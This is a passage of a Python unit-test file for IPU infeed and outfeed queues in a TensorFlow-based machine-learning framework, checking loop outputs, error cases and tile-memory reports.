ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(91, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedWhileLoopTuple(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def cond(i, v): return i < 20 def body(i, v, im1, im2): v = v + im1 + im2 return (i + 1, v) def my_net(v): i = 0 r = ipu.loops.while_loop(cond, body, (i, v), infeed_queue) return r[1] with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(129.5, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedMultipleRuns(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def program(iters): def body(v, x): v = v + x return v def my_net(): v = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(iters, body, (v), infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): return ipu.ipu_compiler.compile(my_net) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(program(0)) self.assertAllClose(result[0], np.broadcast_to(0, [4, 4])) # The iterator has not moved - next element should be all 1s. result = sess.run(program(2)) self.assertAllClose(result[0], np.broadcast_to(1, [4, 4])) # The iterator has moved - in the next two iterations it should pull 2 and 3. result = sess.run(program(2)) self.assertAllClose(result[0], np.broadcast_to(5, [4, 4])) # The iterator has moved - in the next two iterations it should pull 4 and 5. result = sess.run(program(2)) self.assertAllClose(result[0], np.broadcast_to(9, [4, 4])) @test_util.deprecated_graph_mode_only def testTwoInfeedsDifferentPrograms(self): dataset1 = tu.create_single_increasing_dataset(20, shape=[4, 4]) dataset2 = tu.create_single_increasing_dataset(3, shape=[4, 4]) infeed_queue1 = ipu.ipu_infeed_queue.IPUInfeedQueue( dataset1, feed_name=next_feed_id()) infeed_queue2 = ipu.ipu_infeed_queue.IPUInfeedQueue( dataset2, feed_name=next_feed_id()) def program(iters, infeed_queue): def body(v, x): v = v + x return v def my_net(): v = constant_op.constant(0.0, shape=[4, 4], dtype=np.float32) r = ipu.loops.repeat(iters, body, (v), infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): return ipu.ipu_compiler.compile(my_net) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue1.initializer) sess.run(infeed_queue2.initializer) result = sess.run(program(5, infeed_queue1)) self.assertAllClose(result[0], np.broadcast_to(10, [4, 4])) result = sess.run(program(5, infeed_queue2)) self.assertAllClose(result[0], np.broadcast_to(4, [4, 4])) result = sess.run(program(5, infeed_queue1)) self.assertAllClose(result[0], np.broadcast_to(35, [4, 4])) result = sess.run(program(5, infeed_queue2)) self.assertAllClose(result[0], np.broadcast_to(5, [4, 4])) @test_util.deprecated_graph_mode_only def testUndefinedShape(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) dataset = dataset.batch(10, drop_remainder=False) with self.assertRaisesRegex(ValueError, r'Output shape \((\?|None),'): ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) @test_util.deprecated_graph_mode_only def testMultipleInitializations(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) _ = infeed_queue.initializer with self.assertRaisesRegex( ValueError, 'The IPUInfeedQueue `initializer` function can only be accessed once.' ): _ = infeed_queue.initializer @test_util.deprecated_graph_mode_only def testTrainingLoopWithInfeed(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4, 2]) dataset = dataset.batch(batch_size=2, drop_remainder=True) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) def my_net(iters): def body(loss, x): with variable_scope.variable_scope("vs", use_resource=True): y = layers.Conv2D(2, 1, use_bias=True, kernel_initializer=init_ops.ones_initializer(), name='conv1')(x) loss = math_ops.reduce_sum(y) optimizer = gradient_descent.GradientDescentOptimizer(0.1) train = optimizer.minimize(loss) with ops.control_dependencies([train]): return array_ops.identity(loss) loss = 0.0 return ipu.loops.repeat(iters, body, (loss), infeed_queue) with ops.device('cpu'): iters = array_ops.placeholder(np.int32, shape=[]) with ipu.scopes.ipu_scope("/device:IPU:0"): r = ipu.ipu_compiler.compile(my_net, inputs=[iters]) with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(variables.global_variables_initializer()) initial_loss = sess.run(r, {iters: 1}) final_loss = sess.run(r, {iters: 1000}) self.assertTrue(initial_loss > final_loss) @test_util.deprecated_graph_mode_only def testMultipleOutfeedEnequeue(self): outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v): outfeed = outfeed_queue.enqueue(v) outfeed = outfeed_queue.enqueue(v) v = v + 1 return (v, outfeed) def my_net(v): r = ipu.loops.repeat(20, body, (v)) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): with self.assertRaises(ValueError): ipu.ipu_compiler.compile(my_net, inputs=[v]) @test_util.deprecated_graph_mode_only def testMultipleOutfeedEnequeueDifferentGraphs(self): outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v): outfeed = outfeed_queue.enqueue(v) v = v + 1 return (v, outfeed) def my_net(v): r = ipu.loops.repeat(20, body, (v)) return r with ops.Graph().as_default(): with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) self.assertFalse(outfeed_queue.enqueued) with ipu.scopes.ipu_scope("/device:IPU:0"): ipu.ipu_compiler.compile(my_net, inputs=[v]) self.assertTrue(outfeed_queue.enqueued) with ops.Graph().as_default(): with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) # Not enqueued in the current graph. self.assertFalse(outfeed_queue.enqueued) with ipu.scopes.ipu_scope("/device:IPU:0"): ipu.ipu_compiler.compile(my_net, inputs=[v]) self.assertTrue(outfeed_queue.enqueued) @test_util.deprecated_graph_mode_only def testSingleOutfeedRepeatNonTuple(self): outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v): outfeed = outfeed_queue.enqueue(v) v = v + 1 return (v, outfeed) def my_net(v): r = ipu.loops.repeat(20, body, (v)) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(21, [4, 4])) outfed = sess.run(outfeed) for i in range(20): self.assertAllClose(outfed[i], np.broadcast_to(i + 1, [4, 4])) @test_util.deprecated_graph_mode_only def testMultipleOutfeedsInSameGraph(self): outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def inner_body(v): outfeed = outfeed_queue2.enqueue(v) v = v + 1 return v, outfeed def body(v): outfeed = outfeed_queue1.enqueue(v) v = ipu.loops.repeat(10, inner_body, v) return v, outfeed def my_net(v): r = ipu.loops.repeat(10, body, v) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, []) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) dequeued1 = outfeed_queue1.dequeue() dequeued2 = outfeed_queue2.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(res, {v: 0.0}) out1, out2 = sess.run([dequeued1, dequeued2]) self.assertAllEqual(np.arange(0, 100, step=10), out1) self.assertAllEqual(np.arange(0, 100, step=1), out2) @test_util.deprecated_graph_mode_only def testSingleInfeedOutfeedRepeatNonTuple(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4]) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v, x): v = v + x outfeed = outfeed_queue.enqueue(v) return (v, outfeed) def my_net(v): r = ipu.loops.repeat(20, body, (v), infeed_queue) return r with ops.device('cpu'): v = array_ops.placeholder(np.float32, [4, 4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[v]) with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res, {v: np.ones([4, 4], np.float32)}) self.assertAllClose(result[0], np.broadcast_to(91, [4, 4])) outfed = sess.run(outfeed_queue.dequeue()) self.assertEqual(outfed.shape, (20, 4, 4)) self.assertAllClose(outfed[-1], result[0]) self.assertAllClose(outfed[5], np.broadcast_to(16, [4, 4])) @test_util.deprecated_graph_mode_only def testSingleInfeedOutfeedRepeatTuple(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) shape = [4, 4] def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v, im1, im2): v = v + im1 + im2 outfeed = outfeed_queue.enqueue((v, im1, im2)) return (v, outfeed) def my_net(): v = constant_op.constant(0.0, shape=shape, dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, shape)) outfed_result = sess.run(outfed) self.assertTrue(len(outfed_result) == 3) self.assertAllClose(outfed_result[0][0], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result[0][1], np.broadcast_to(11.5, shape)) self.assertAllClose(outfed_result[0][2], np.broadcast_to(19.5, shape)) self.assertAllClose(outfed_result[0][3], np.broadcast_to(24.5, shape)) self.assertAllClose(outfed_result[0][4], np.broadcast_to(31, shape)) self.assertAllClose(outfed_result[1][0], np.broadcast_to(0, shape)) self.assertAllClose(outfed_result[1][1], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result[1][2], np.broadcast_to(2, shape)) self.assertAllClose(outfed_result[1][3], np.broadcast_to(0, shape)) self.assertAllClose(outfed_result[1][4], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result[2][0], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result[2][1], np.broadcast_to(5.5, shape)) self.assertAllClose(outfed_result[2][2], np.broadcast_to(6, shape)) self.assertAllClose(outfed_result[2][3], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result[2][4], np.broadcast_to(5.5, shape)) @test_util.deprecated_graph_mode_only def testSingleInfeedOutfeedRepeatTupleLast(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) shape = [4, 4] def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(v, im1, im2): v = v + im1 + im2 outfeed = outfeed_queue.enqueue((v, im1, im2)) return (v, outfeed) def my_net(): v = constant_op.constant(0.0, shape=shape, dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, shape)) outfed_result = sess.run(outfed) self.assertTrue(len(outfed_result) == 3) self.assertAllClose(outfed_result[0], np.broadcast_to(31, shape)) self.assertAllClose(outfed_result[1], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result[2], np.broadcast_to(5.5, shape)) @test_util.deprecated_graph_mode_only def testSingleInfeedOutfeedRepeatNamed(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) shape = [4, 4] def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def body(v, im1, im2): v = v + im1 + im2 outfeed = outfeed_queue.enqueue({"v": v, "image1": im1, "image2": im2}) return (v, outfeed) def my_net(): v = constant_op.constant(0.0, shape=shape, dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, shape)) outfed_result = sess.run(outfed) self.assertTrue(len(outfed_result) == 3) self.assertAllClose(outfed_result["v"][0], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result["v"][1], np.broadcast_to(11.5, shape)) self.assertAllClose(outfed_result["v"][2], np.broadcast_to(19.5, shape)) self.assertAllClose(outfed_result["v"][3], np.broadcast_to(24.5, shape)) self.assertAllClose(outfed_result["v"][4], np.broadcast_to(31, shape)) self.assertAllClose(outfed_result["image1"][0], np.broadcast_to(0, shape)) self.assertAllClose(outfed_result["image1"][1], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result["image1"][2], np.broadcast_to(2, shape)) self.assertAllClose(outfed_result["image1"][3], np.broadcast_to(0, shape)) self.assertAllClose(outfed_result["image1"][4], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result["image2"][0], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result["image2"][1], np.broadcast_to(5.5, shape)) self.assertAllClose(outfed_result["image2"][2], np.broadcast_to(6, shape)) self.assertAllClose(outfed_result["image2"][3], np.broadcast_to(5, shape)) self.assertAllClose(outfed_result["image2"][4], np.broadcast_to(5.5, shape)) @test_util.deprecated_graph_mode_only def testSingleInfeedOutfeedRepeatNamedLast(self): dataset = tu.create_single_increasing_dataset(3, shape=[4, 4]) shape = [4, 4] def dataset_parser(value): image_1 = value image_2 = (value + 10.) / 2.0 return (image_1, image_2) dataset = dataset.map(dataset_parser) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(v, im1, im2): v = v + im1 + im2 outfeed = outfeed_queue.enqueue({"v": v, "image1": im1, "image2": im2}) return (v, outfeed) def my_net(): v = constant_op.constant(0.0, shape=shape, dtype=np.float32) r = ipu.loops.repeat(5, body, [v], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[]) outfed = outfeed_queue.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(infeed_queue.initializer) result = sess.run(res) self.assertAllClose(result[0], np.broadcast_to(31, shape)) outfed_result = sess.run(outfed) self.assertTrue(len(outfed_result) == 3) self.assertAllClose(outfed_result["v"], np.broadcast_to(31, shape)) self.assertAllClose(outfed_result["image1"], np.broadcast_to(1, shape)) self.assertAllClose(outfed_result["image2"], np.broadcast_to(5.5, shape)) @test_util.deprecated_graph_mode_only def testTrainingLoopWithInfeedAndOutfeedGetAll(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4, 2]) dataset = dataset.batch(batch_size=2, drop_remainder=True) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue(next_feed_id()) def my_net(iters): def body(loss, x): with variable_scope.variable_scope("vs", use_resource=True): y = layers.Conv2D(2, 1, use_bias=True, kernel_initializer=init_ops.ones_initializer(), name='conv1')(x) loss = math_ops.reduce_sum(y) optimizer = gradient_descent.GradientDescentOptimizer(0.1) train = optimizer.minimize(loss) outfeed = outfeed_queue.enqueue(loss) with ops.control_dependencies([train]): return (array_ops.identity(loss), outfeed) loss = 0.0 return ipu.loops.repeat(iters, body, (loss), infeed_queue) with ops.device('cpu'): iters = array_ops.placeholder(np.int32, shape=[]) with ipu.scopes.ipu_scope("/device:IPU:0"): r = ipu.ipu_compiler.compile(my_net, inputs=[iters]) outfeeds = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(variables.global_variables_initializer()) initial_loss = sess.run(r, {iters: 1}) final_loss = sess.run(r, {iters: 1000}) outfed = sess.run(outfeeds) self.assertTrue(initial_loss > final_loss) self.assertTrue(outfed.shape[0], 1001) self.assertTrue(isinstance(outfed, np.ndarray)) @test_util.deprecated_graph_mode_only def testTrainingLoopWithInfeedAndOutfeedGetLast(self): dataset = tu.create_single_increasing_dataset(10, shape=[4, 4, 2]) dataset = dataset.batch(batch_size=2, drop_remainder=True) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue(dataset, next_feed_id()) outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def my_net(iters): def body(loss, x): with variable_scope.variable_scope("vs", use_resource=True): y = layers.Conv2D(2, 1, use_bias=True, kernel_initializer=init_ops.ones_initializer(), name='conv1')(x) loss = math_ops.reduce_sum(y) optimizer = gradient_descent.GradientDescentOptimizer(0.1) train = optimizer.minimize(loss) outfeed = outfeed_queue.enqueue(loss) with ops.control_dependencies([train]): return (array_ops.identity(loss), outfeed) loss = 0.0 return ipu.loops.repeat(iters, body, (loss), infeed_queue) with ops.device('cpu'): iters = array_ops.placeholder(np.int32, shape=[]) with ipu.scopes.ipu_scope("/device:IPU:0"): r = ipu.ipu_compiler.compile(my_net, inputs=[iters]) outfeeds = outfeed_queue.dequeue() with session_lib.Session() as sess: sess.run(infeed_queue.initializer) sess.run(variables.global_variables_initializer()) initial_loss = sess.run(r, {iters: 1}) final_loss = sess.run(r, {iters: 1000}) outfed = sess.run(outfeeds) self.assertTrue(initial_loss > final_loss) self.assertTrue(outfed == final_loss) # Check that a scalar is returned instead of a numpy array self.assertTrue(isinstance(outfed, np.float32)) @test_util.deprecated_graph_mode_only def testTwoOutfeedsDifferentPrograms(self): outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( feed_name=next_feed_id()) outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( feed_name=next_feed_id()) def body1(v): outfeed = outfeed_queue1.enqueue(v) v = v + 1 return (v, outfeed) def my_net1(v): r = ipu.loops.repeat(5, body1, (v)) return r def body2(v): outfeed = outfeed_queue2.enqueue(v) v = v + 1 return (v, outfeed) def my_net2(v): r = ipu.loops.repeat(7, body2, (v)) return r with ops.device('cpu'): v1 = array_ops.placeholder(np.float32, [4, 4]) v2 = array_ops.placeholder(np.float32, [5, 5]) with ipu.scopes.ipu_scope("/device:IPU:0"): res1 = ipu.ipu_compiler.compile(my_net1, inputs=[v1]) res2 = ipu.ipu_compiler.compile(my_net2, inputs=[v2]) outfeed1 = outfeed_queue1.dequeue() outfeed2 = outfeed_queue2.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) result1 = sess.run(res1, {v1: np.ones([4, 4], np.float32)}) self.assertAllClose(result1[0], np.broadcast_to(6, [4, 4])) outfed1 = sess.run(outfeed1) for i in range(5): self.assertAllClose(outfed1[i], np.broadcast_to(i + 1, [4, 4])) result2 = sess.run(res2, {v2: np.full([5, 5], 4, np.float32)}) self.assertAllClose(result2[0], np.broadcast_to(11, [5, 5])) outfed2 = sess.run(outfeed2) for i in range(7): self.assertAllClose(outfed2[i], np.broadcast_to(i + 4, [5, 5])) @test_util.deprecated_graph_mode_only def testTwoOutfeedsDifferentProgramsDelayedOutfeedRead(self): outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( feed_name=next_feed_id()) outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue( feed_name=next_feed_id()) def body1(v): outfeed = outfeed_queue1.enqueue(v) v = v + 1 return (v, outfeed) def my_net1(v): r = ipu.loops.repeat(5, body1, (v)) return r def body2(v): outfeed = outfeed_queue2.enqueue(v) v = v + 1 return (v, outfeed) def my_net2(v): r = ipu.loops.repeat(7, body2, (v)) return r with ops.device('cpu'): v1 = array_ops.placeholder(np.float32, [4, 4]) v2 = array_ops.placeholder(np.float32, [5, 5]) with ipu.scopes.ipu_scope("/device:IPU:0"): res1 = ipu.ipu_compiler.compile(my_net1, inputs=[v1]) res2 = ipu.ipu_compiler.compile(my_net2, inputs=[v2]) outfeed1 = outfeed_queue1.dequeue() outfeed2 = outfeed_queue2.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) result1 = sess.run(res1, {v1: np.ones([4, 4], np.float32)}) self.assertAllClose(result1[0], np.broadcast_to(6, [4, 4])) result2 = sess.run(res2, {v2: np.full([5, 5], 4, np.float32)}) self.assertAllClose(result2[0], np.broadcast_to(11, [5, 5])) outfed1 = sess.run(outfeed1) for i in range(5): self.assertAllClose(outfed1[i], np.broadcast_to(i + 1, [4, 4])) outfed2 = sess.run(outfeed2) for i in range(7): self.assertAllClose(outfed2[i], np.broadcast_to(i + 4, [5, 5])) @test_util.deprecated_graph_mode_only def testTwoOutfeedsDifferentProgramsSameFeedName(self): outfeed_queue1 = ipu.ipu_outfeed_queue.IPUOutfeedQueue(feed_name="a") outfeed_queue2 = ipu.ipu_outfeed_queue.IPUOutfeedQueue(feed_name="a") def body1(v): outfeed = outfeed_queue1.enqueue(v) v = v + 1 return (v, outfeed) def my_net1(v): r = ipu.loops.repeat(5, body1, (v)) return r def body2(v): outfeed = outfeed_queue2.enqueue(v) v = v + 1 return (v, outfeed) def my_net2(v): r = ipu.loops.repeat(7, body2, (v)) return r with ops.device('cpu'): v1 = array_ops.placeholder(np.float32, [4, 4]) v2 = array_ops.placeholder(np.float32, [5, 5]) with ipu.scopes.ipu_scope("/device:IPU:0"): res1 = ipu.ipu_compiler.compile(my_net1, inputs=[v1]) res2 = ipu.ipu_compiler.compile(my_net2, inputs=[v2]) outfeed_queue1.dequeue() outfeed_queue2.dequeue() with session_lib.Session() as sess: tu.ReportJSON(self, sess) sess.run(res1, {v1: np.ones([4, 4], np.float32)}) with self.assertRaisesRegex(errors.FailedPreconditionError, 'Outfeed with id=\'a\' already exists'): sess.run(res2, {v2: np.full([5, 5], 4, np.float32)}) @test_util.deprecated_graph_mode_only def testInfeedUsingDatasetWithNestedDictNotUnpacked(self): x = { "x0": np.ones(shape=[2], dtype=np.float32), "x1": np.ones(shape=[2], dtype=np.float32) } y = np.ones(shape=[2], dtype=np.float32) ds = dataset_ops.Dataset.from_tensor_slices((x, y)) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue( ds, feed_name=next_feed_id()) def body(total, x, y): total += x["x0"] + x["x1"] + y return total def my_net(): r = ipu.loops.repeat(2, body, [0.0], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net) with session_lib.Session() as sess: sess.run(infeed_queue.initializer) result = sess.run(res) self.assertEqual(result, [6.0]) @test_util.deprecated_graph_mode_only def testInfeedUsingDatasetWithOnlyDictIsUnpacked(self): x = { "x0": np.ones(shape=[2], dtype=np.float32), "x1": np.ones(shape=[2], dtype=np.float32) } ds = dataset_ops.Dataset.from_tensor_slices((x,)) infeed_queue = ipu.ipu_infeed_queue.IPUInfeedQueue( ds, feed_name=next_feed_id()) def body(total, x0, x1): total += x0 + x1 return total def my_net(): r = ipu.loops.repeat(2, body, [0.0], infeed_queue) return r with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net) with session_lib.Session() as sess: sess.run(infeed_queue.initializer) result = sess.run(res) self.assertEqual(result, [4.0]) @test_util.deprecated_graph_mode_only def testSingleOutfeedWithBatchingNonTuple(self): b_count = 4 outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), io_batch_size=b_count) def body(a, b): c = a + b outfeed = outfeed_queue.enqueue(c) return (c, a, outfeed) def my_net(a, b): r = ipu.loops.repeat(8, body, (a, b)) return r with ops.device('cpu'): a = array_ops.placeholder(np.float32, [4]) b = array_ops.placeholder(np.float32, [4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[a, b]) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: report = tu.ReportJSON(self, sess) report.reset() fd = {a: [1., 1., 1., 1.], b: [0., 0., 0., 0.]} result = sess.run(res, fd) self.assertAllClose(result[0], [34., 34., 34., 34.]) self.assertAllClose(result[1], [21., 21., 21., 21.]) outfed = sess.run(outfeed) # A list of 8 fibonacci numbers expected = [[1., 1., 1., 1.], [2., 2., 2., 2.], [3., 3., 3., 3.], [5., 5., 5., 5.], [8., 8., 8., 8.], [13., 13., 13., 13.], [21., 21., 21., 21.], [34., 34., 34., 34.]] self.assertAllClose(outfed, expected) report.parse_log() report.assert_each_tile_memory_is_less_than(4234, tolerance=0.1) report.assert_total_tile_memory(319467, tolerance=0.1) total_outfeeds = 0 for s in report.get_execution_reports()[0]['simulation']['steps']: if s['type'] == 'StreamCopy': # batch x shape=[4] floats if s['totalData'] == b_count * 4 * 4: total_outfeeds = total_outfeeds + 1 self.assertEqual(total_outfeeds, 8 // b_count) @test_util.deprecated_graph_mode_only def testSingleOutfeedWithBatchingFinalNonTuple(self): b_count = 4 outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), io_batch_size=b_count, outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(a, b): c = a + b outfeed = outfeed_queue.enqueue(c) return (c, a, outfeed) def my_net(a, b): r = ipu.loops.repeat(8, body, (a, b)) return r with ops.device('cpu'): a = array_ops.placeholder(np.float32, [4]) b = array_ops.placeholder(np.float32, [4]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[a, b]) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: report = tu.ReportJSON(self, sess) report.reset() fd = {a: [1., 1., 1., 1.], b: [0., 0., 0., 0.]} result = sess.run(res, fd) self.assertAllClose(result[0], [34., 34., 34., 34.]) self.assertAllClose(result[1], [21., 21., 21., 21.]) outfed = sess.run(outfeed) # A list of 8 fibonacci numbers expected = [34., 34., 34., 34.] self.assertAllClose(outfed, expected) report.parse_log() report.assert_each_tile_memory_is_less_than(4234, tolerance=0.1) report.assert_total_tile_memory(319467, tolerance=0.1) total_outfeeds = 0 for s in report.get_execution_reports()[0]['simulation']['steps']: if s['type'] == 'StreamCopy': # batch x shape=[4] floats + header if s['totalData'] == b_count * 4 * 4: total_outfeeds = total_outfeeds + 1 self.assertEqual(total_outfeeds, 8 // b_count) @test_util.deprecated_graph_mode_only def testSingleOutfeedWithBatchingFinalNonTupleRearrangeDevice(self): b_count = 4 outfeed_queue = ipu.ipu_outfeed_queue.IPUOutfeedQueue( next_feed_id(), io_batch_size=b_count, outfeed_mode=ipu.ipu_outfeed_queue.IPUOutfeedMode.LAST) def body(a, b): c = math_ops.matmul(a, b) outfeed = outfeed_queue.enqueue(c) return (a, b, outfeed) def my_net(a, b): r = ipu.loops.repeat(8, body, (a, b)) return r with ops.device('cpu'): a = array_ops.placeholder(np.float32, [1024, 256]) b = array_ops.placeholder(np.float32, [256, 512]) with ipu.scopes.ipu_scope("/device:IPU:0"): res = ipu.ipu_compiler.compile(my_net, inputs=[a, b]) outfeed = outfeed_queue.dequeue() with session_lib.Session() as sess: report = tu.ReportJSON(self, sess) report.reset() fd = {a: np.ones(a.shape), b: np.zeros(b.shape)} sess.run(res, fd) outfed = sess.run(outfeed) # The convolution output expected = np.zeros([1024, 512]) self.assertAllClose(outfed, expected) report.parse_log() report.assert_max_tile_memory(50775) report.assert_total_tile_memory(57042815) total_outfeeds = 0 for s in report.get_execution_reports()[0]['simulation']['steps']: if s['type'] == 'StreamCopy': # batch x shape=[1024*256] floats if s['totalData'] == b_count * 1024 * 512 * 4: total_outfeeds = total_outfeeds + 1 self.assertEqual(total_outfeeds, 8 // b_count) @test_util.deprecated_graph_mode_only def 